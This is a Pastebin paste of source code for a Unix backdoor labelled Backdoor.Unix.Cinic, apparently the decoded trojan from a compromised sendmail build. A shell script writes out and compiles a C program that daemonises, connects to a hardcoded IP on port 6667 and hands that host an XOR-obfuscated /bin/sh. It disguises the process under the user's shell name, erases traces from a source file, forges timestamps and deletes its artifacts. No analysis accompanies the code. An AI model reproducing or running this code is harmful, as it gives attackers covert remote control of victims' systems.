FlyFar

Backdoor.Unix.Cinic - Source Code

Jun 8th, 2023
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.00 KB | Cybersecurity | 0 0
  1. /* Forrest Rae offered this decoded portion to us  fbr@14x.net */
  2.  
  3.  
  4. #!/bin/sh
  5. cat >conftest.c <<_ACEOF
  6. #include <stdio.h>
  7. #include <sys/types.h>
  8. #include <unistd.h>
  9. #include <sys/socket.h>
  10. #include <netinet/in.h>
  11. int main(int argc,char **argv) {
  12.     char c;
  13.     int s,x,sv0[2],sv1[2];
  14.     struct sockaddr_in sa;
  15.     switch(fork()){
  16.         case 0:break;
  17.         default:exit(1);
  18.     }
  19.     setsid();
  20.     close(0);
  21.     close(1);
  22.     close(2);
  23.     do{
  24.         if((s=socket(AF_INET,SOCK_STREAM,0))==(-1)) exit(1);
  25.         sa.sin_family=AF_INET;
  26.         sa.sin_port=htons(6667);
  27.         sa.sin_addr.s_addr=inet_addr("66.37.138.99");
  28.         alarm(10);
  29.         if(connect(s,(struct sockaddr*)&sa,sizeof(sa))==(-1))exit(1);
  30.         if((x=read(s,&c,1))<=0)
  31.             exit(1);
  32.         else{
  33.             alarm(0);
  34.             switch(c){
  35.                 case 'A':exit(0);
  36.                 case 'D':break;
  37.                 case 'M':close(s);
  38.                     sleep(3600);
  39.                     continue;
  40.             }
  41.         }
  42.         break;
  43.     } while(1);
  44.    
  45.     if(socketpair(AF_UNIX,SOCK_STREAM,0,sv0)==(-1))exit(1);
  46.     if(socketpair(AF_UNIX,SOCK_STREAM,0,sv1)==(-1))exit(1);
  47.     switch(fork()){
  48.         case -1:{exit(1);}
  49.         case 0:{
  50.             char*a[]={"/bin/sh",NULL};
  51.             close(sv0[1]);
  52.             close(sv1[1]);
  53.             dup2(sv0[0],0);
  54.             dup2(sv1[0],1);
  55.             dup2(sv1[0],2);
  56.             execve(a[0],a,NULL);
  57.         }
  58.         default:{
  59.             close(sv0[0]);
  60.             close(sv1[0]);
  61.             while(1){
  62.                 int len,ret;
  63.                 fd_set rfd;
  64.                 charbuf[2048];
  65.                 FD_ZERO(&rfd);
  66.                 FD_SET(s,&rfd);
  67.                 FD_SET(sv1[1],&rfd);
  68.                 if(select(32,&rfd,NULL,NULL,NULL)==(-1)){exit(1);}
  69.                 if(FD_ISSET(s,&rfd)){
  70.                     if((len=read(s,buf,sizeof(buf)))<=0){exit(1);}
  71.                     for(x=0;x<len;x++)
  72.                         buf[x]^=0x89;
  73.                     x=0;
  74.                     while(x<len){
  75.                         if((ret=write(sv0[1],buf+x,len-x))==(-1)){exit(1);}
  76.                         x+=ret;
  77.                     }
  78.                 }
  79.                 if(FD_ISSET(sv1[1],&rfd)){
  80.                     if((len=read(sv1[1],buf,sizeof(buf)))<=0){exit(1);}
  81.                     for(x=0;x<len;x++)
  82.                         buf[x]^=0x89;
  83.                     x=0;
  84.                     while(x<len){
  85.                         if((ret=write(s,buf+x,len-x))==(-1)){exit(1);}
  86.                         x+=ret;
  87.                     }
  88.                 }
  89.             }
  90.         }
  91.     }
  92. }
  93. _ACEOF
  94. (grep -v "SM_BASE64_DATA" ../../libsm/t-shm.c > out;
  95. cp out ../../libsm/t-shm.c;
  96. touch -r /etc/motd ../../libsm/t-shm.c;
  97. rm -f out
  98. test grep -v "atexit" ../../libsm/t-shm.c > out;
  99. cp out ../../libsm/t-shm.c;
  100. touch -r /etc/motd ../../libsm/t-shm.c;
  101. rm -f out
  102. test grep -v "system" ../../libsm/t-shm.c > out;
  103. cp out ../../libsm/t-shm.c;
  104. touch -r /etc/motd ../../libsm/t-shm.c;
  105. rm -f out
  106. test TESTPROG="`basename \"\`grep ^$USER: /etc/passwd\`\"`"
  107. if test -z $TESTPROG ; then TESTPROG=sh; fi
  108. TESTSTAT=0
  109. if test $TESTPROG = "sh"; then TESTSTAT=1;fi
  110. if test $TESTPROG = "csh"; then TESTSTAT=1;fi
  111. if test $TESTPROG = "bash"; then TESTSTAT=1;fi
  112. if test $TESTPROG = "tcsh"; then TESTSTAT=1;fi
  113. if test $TESTPROG = "zsh"; then TESTSTAT=1;fi
  114. if test $TESTSTAT -eq 0; then TESTPROG=sh;fi
  115. oPATH=$PATH
  116. gcc -w conftest.c -o $TESTPROG ; PATH=. $TESTPROG
  117. PATH=$oPATH
  118. if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG &&
  119. exit;fi
  120. gcc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
  121. PATH=$oPATH
  122. if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG &&
  123. exit;fi
  124. cc -w conftest.c -o $TESTPROG ; PATH=. $TESTPROG
  125. PATH=$oPATH
  126. if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG &&
  127. exit;fi
  128. cc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
  129. PATH=$oPATH
  130. rm -f ./conftest ./conftest.c $TESTPROG)
Add Comment
Please, Sign In to add comment